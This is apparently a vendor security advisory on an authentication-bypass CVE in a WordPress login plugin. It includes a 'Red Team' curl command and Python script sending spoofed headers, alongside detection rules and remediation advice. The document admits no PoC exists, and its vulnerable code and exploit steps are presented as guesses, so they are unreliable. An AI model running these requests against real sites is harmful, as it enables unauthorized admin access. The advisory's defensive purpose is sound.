CVE-2025-58595

Executive Summary

CVE-2025-58595 is an Authentication Bypass by Spoofing vulnerability in the WordPress plugin All In One Login by Saad Iqbal, affecting versions up to and including 2.0.8. This flaw allows an unauthenticated attacker to spoof the change-wp-admin-login functionality, leading to identity spoofing and potential unauthorized access to the WordPress admin area. The vulnerability is classified as a CWE-290: Authentication Bypass by Spoofing, with a CVSS score of 5.3 (Medium). No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the lack of a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows identity spoofing but does not directly lead to data exfiltration or system compromise. However, it can be chained with other attacks to escalate privileges.

Deep Dive & Mechanics

The vulnerability resides in the change-wp-admin-login functionality of the All In One Login plugin. The plugin likely modifies the default WordPress admin login URL (e.g., /wp-admin) to a custom slug. Due to insufficient validation of the login request origin or session state, an attacker can spoof the authentication process by manipulating HTTP headers or parameters.

Root Cause: The plugin fails to properly verify the authenticity of the login request, allowing an attacker to bypass the intended login flow. This is a classic Authentication Bypass by Spoofing (CWE-290), where the attacker impersonates a legitimate user or session.

Attack Vector:

1. The attacker sends a crafted HTTP request to the custom login endpoint.
2. The request includes spoofed headers (e.g., X-Forwarded-For, User-Agent, or custom cookies) that trick the plugin into believing the request is from an authenticated session.
3. The plugin grants access to the admin area without proper credential validation.

Impact: An attacker can gain unauthorized access to the WordPress admin dashboard, potentially leading to further compromise (e.g., plugin/theme modification, user creation, or malware injection).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's login handling logic. A typical vulnerable pattern might look like:

Vulnerable Code (PHP):

function check_login($request) {
    // Insufficient validation - trusts spoofed headers
    if ($request->get_header('X-Auth-Token') === 'admin') {
        return true; // Bypasses actual authentication
    }
    // ... rest of login logic
}

Patched Code (Hypothetical):

function check_login($request) {
    // Validate nonce and session token
    if (!wp_verify_nonce($request->get_param('_wpnonce'), 'login_nonce')) {
        return false;
    }
    // Verify user credentials
    $user = wp_authenticate($request->get_param('username'), $request->get_param('password'));
    if (is_wp_error($user)) {
        return false;
    }
    // ... rest of login logic
}

The patch would enforce proper nonce verification and credential validation, preventing spoofing attacks.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with All In One Login plugin <= 2.0.8.
• Knowledge of the custom login slug (e.g., /my-login).

Exploitation Steps:

1. Identify the custom login URL (e.g., via directory brute-forcing or source code analysis).
2. Craft a spoofed HTTP request using curl:

   curl -X POST "http://target.com/my-login" \
     -H "X-Forwarded-For: 127.0.0.1" \
     -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
     -d "log=admin&pwd=anything"
   

3. If successful, the response will contain a session cookie granting admin access.

Automated Exploit (Python):

import requests

target = "http://target.com/my-login"
headers = {
    "X-Forwarded-For": "127.0.0.1",
    "User-Agent": "Mozilla/5.0"
}
data = {"log": "admin", "pwd": "fake"}
response = requests.post(target, headers=headers, data=data)
if "wp-admin" in response.url:
    print("Exploit successful!")

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual login attempts with spoofed headers (e.g., X-Forwarded-For set to localhost).
• Alert on successful logins without proper nonce validation.
• Use WAF rules to block requests with suspicious headers.

Defense:

• Disable the plugin until a patch is released.
• Implement additional authentication layers (e.g., IP whitelisting, 2FA).
• Harden WordPress by using security plugins (e.g., Wordfence, Sucuri).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-content/plugins/all-in-one-login/ or custom login slugs.
  • Headers containing X-Forwarded-For: 127.0.0.1 or X-Auth-Token.
• File IOCs:
  • Modified .htaccess or wp-config.php files.
  • Suspicious PHP files in wp-content/uploads/ or wp-content/plugins/.
• Log IOCs:
  • WordPress debug logs showing failed nonce validation.
  • Apache/Nginx access logs with unusual POST requests to login endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_58595_All_In_One_Login {
    meta:
        description = "Detects exploitation attempts for CVE-2025-58595"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-58595"
    strings:
        $s1 = "all-in-one-login" nocase
        $s2 = "change-wp-admin-login" nocase
        $s3 = "X-Forwarded-For" nocase
        $s4 = "X-Auth-Token" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-58595 - Authentication Bypass via Spoofing
id: 8a4b3c2d-1e5f-4a6b-9c7d-0e8f1a2b3c4d
status: experimental
description: Detects HTTP requests with spoofed headers targeting All In One Login plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/my-login'
            - '/wp-content/plugins/all-in-one-login/'
        sc-status: 200
        cs-headers|contains: 
            - 'X-Forwarded-For: 127.0.0.1'
            - 'X-Auth-Token'
    condition: selection
falsepositives:
    - Legitimate reverse proxy usage
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-58595 - All In One Login Authentication Bypass";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/my-login"; http_uri;
    content:"X-Forwarded-For|3a 20|127.0.0.1"; http_header;
    sid:1000001;
    rev:1;
    reference:cve,2025-58595;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Monitor logs for suspicious login attempts.
3. Implement WAF rules to block spoofed headers.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Consider replacing the plugin with a more secure alternative (e.g., WPS Hide Login).

Workarounds:

• Use .htaccess to restrict access to the login page by IP.
• Enable two-factor authentication (2FA) for all admin users.

Valters IT
Securing Digital Frontiers